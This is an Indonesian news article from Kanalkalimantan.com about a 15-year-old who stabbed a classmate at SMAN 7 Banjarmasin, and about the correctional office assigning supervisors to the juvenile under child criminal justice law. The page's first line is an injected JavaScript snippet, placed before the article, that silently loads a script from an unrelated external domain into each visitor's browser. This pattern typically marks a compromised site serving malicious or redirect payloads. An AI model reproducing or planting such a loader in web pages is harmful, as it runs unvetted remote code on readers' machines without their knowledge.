(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Anak Pelaku Penusukan SMAN 7 Wajib Didampingi, Bapas Banjarmasin Jelaskan Kerja Tim PK


KANALKALIMANTAN.COM, BANJARMASIN – Kasus siswa tikam siswa di ruang kelas Sekolah Menengah Atas Negeri (SMAN) 7 Banjarmasin belum ada tanda jalur damai.

Terkahir, orangtua anak korban Zainal Aqli didampingi penasehat hukum membuat laporan resmi ke Satreskrim Polresta Banjarmasin dan minta pelaku ARR (15) diproses sesuai dengan hukum yang berlaku.

Polresta Banjarmasin dikabarkan telah meminta Balai Pemasyarakatan (Bapas) Kelas I Banjarmasin untuk melakukan pendampingan terhadap anak pelaku, sebab anak pelaku masih berusia 15 tahun atau di bawah umur.

Kepala Bapas Kelas I Banjarmasin Pudjiono Gunawan melalui Kasubsi Registrasi Anak, Haris mengatakan, Bapas Banjarmasin telah menurunkan tim Pembimbing Kemasyarakatan (PK) untuk mendampingi anak pelaku ARR.

Baca juga: PUPR Kalsel Targetkan Perbaikan Jalan Martapura Lama Selesai November Ini

Pendampingan tersebut atas permintaan Polresta Banjarmasin melalui surat permohonan Nomor B/684/VIII/2023/Reskrim tanggal 02 Agustus 2023, perihal Pendampingan dan Pembuatan Penelitian Kemasyarakatan Terhadap Anak Berkonflik dengan Hukum (ABH) inisial ARR.

“Tim berjumlah 3 orang, terdiri dari 1 orang PK Madya atas nama Sayuti SH MM dan 2 orang PK Muda atas nama Kaspul Anwar SH dan Abdul Hair SH,” kata Haris kepada Kanalkalimantan.com Kamis (3/8/2023) pagi.

Disebutkan Haris, tim yang terdiri tiga orang tersebut telah berpengalaman dalam pendampingan anak yang berkonflik dengan hukum dan sudah mulai bekerja berdasarkan surat penunjukan Kepala Bapas Kelas I Banjarmasin.

Baca juga: Kirab Pemilu 2024 Tiba di HSU

“Mereka sudah mulai bekerja dan berkordinasi, hari ini katanya ada pertemuan di Polresta,” kata Haris.

Menurutnya, dasar pendampinginan yaitu Undang-Undang Nomor 11 tahun 2012 tentang Sistem Peradilan Pidana Anak (SPPA), jika seorang anak yang belum berusia 18 tahun menjadi tersangka dalam sebuah peristiwa tindak pidana dan menjalani proses hukum wajib didampingi oleh PK.

Selain melakukan pendampingan, tim PK Bapas Banjarmasin dikatakan juga akan memberikan rekomendasi yang dituangkan dalam Laporan Penelitian Kemasyarakatan (Litmas).

Penelitian akan dilakukan di lingkungan keluarga pelaku, sekolah, teman-temannya, maupun lingkungan sosial lainnya. Untuk menilai kepribadian pelaku, termasuk meneliti motif pelaku melakukan kejahatan.

Baca juga: BNNP Kalteng Bongkar Jaringan Narkoba Internasional dengan Barbuk 9,2 Kg

“Rekomendasi itu diserahkan ke setiap tahapan perkara, baik tingkat penyidikan, penuntutan, bahkan hakim akan mengambil rekomendasi itu nantinya,” kata Haris.

Haris menegaskan, pendamping yang dilakukan Bapas Banjarmasin bukan berusaha membela pelaku. Namun, semata-mata untuk memberikan hak pelaku anak di bawah umur yang diatur Undang-Undang dan untuk memberikan rekomendasi terbaik kepada anak pelaku.

“Apakah dia lebih baik dipenjara, atau lebih baik didiversi dan dikembalikan ke orangtua, PK akan memberikan rekomendasi yang terbaik untuk pelaku ini,” tegasnya.

Selain anak pelaku, anak korban juga mempunyai hak untuk didampingi. Berdasarkan UU SPPA kewenangan pendampingan terhadap anak yang menjadi korban tindak pidana menjadi tanggung jawab dari pekerja sosial dari Dinas Sosial atau Kementerian Sosial.

Baca juga: SMAN 7 Banjarmasin Angkat Bicara Insiden Siswa Tusuk Siswa

Sebelumnya diberitakan seorang siswa di SMAN 7 Banjarmasin berinisial ARR menikam temannya sendiri menggunakan sajam Senin (31/7/2023) sekitar pukul 07.15 Wita.

Peristiwa tersebut berlangsung di ruang kelas 10 sebelum pelaksanaan upacara bendera dan kejadian penusukan sempat terekam CCTV kelas.

Atas kejadian tersebut, Korban yang juga masih duduk dikelas 10 mengalami luka tusuk serius dengan 4 titik luka dan harus dilarikan ke Rumah Sakit Umum Daerah Ulin Banjarmasin. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Begini Penjelasan Disporabudpar Banjarbaru Soal Perizinan Hotel Aeris

KANALKALIMANTAN.COM, BANJARBARU – Sebuah hotel baru di ruas Jalan Panglima Batur Banjarbaru akan melakukan soft… Read More

3 jam ago

Gerilya Politik Lisa Halaby ke Nasdem Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Langkah politik Erna Lisa Halaby mencari partai politik pengusung dalam Pemilihan Wali… Read More

4 jam ago

Tim Wasev Cek Langsung Lokasi TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana bersama Tim Pengawas… Read More

4 jam ago

Lutung Tersengat Listrik Dievakuasi Warga, Damkar HSU Amankan Satwa Dilindungi

KANALKALIMANTAN.COM, AMUNTAI - Tersengat aliran listrik bertegangan tinggi, seekor satwa dilindungi lutung terkapar berhasil dievakuasi… Read More

5 jam ago

“Pesta Siswa Literasi Digital” di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Teknologi yang saat ini berkembang sangat pesat dan cepat telah membuat perubahan… Read More

6 jam ago

Kontestasi Pilwali Banjarbaru, Golkar Partai Pertama Incaran Lisa Halaby

Lisa Halaby: Saya Siap, Insyaallah Mundur Sebagai ASN Read More

6 jam ago

This website uses cookies.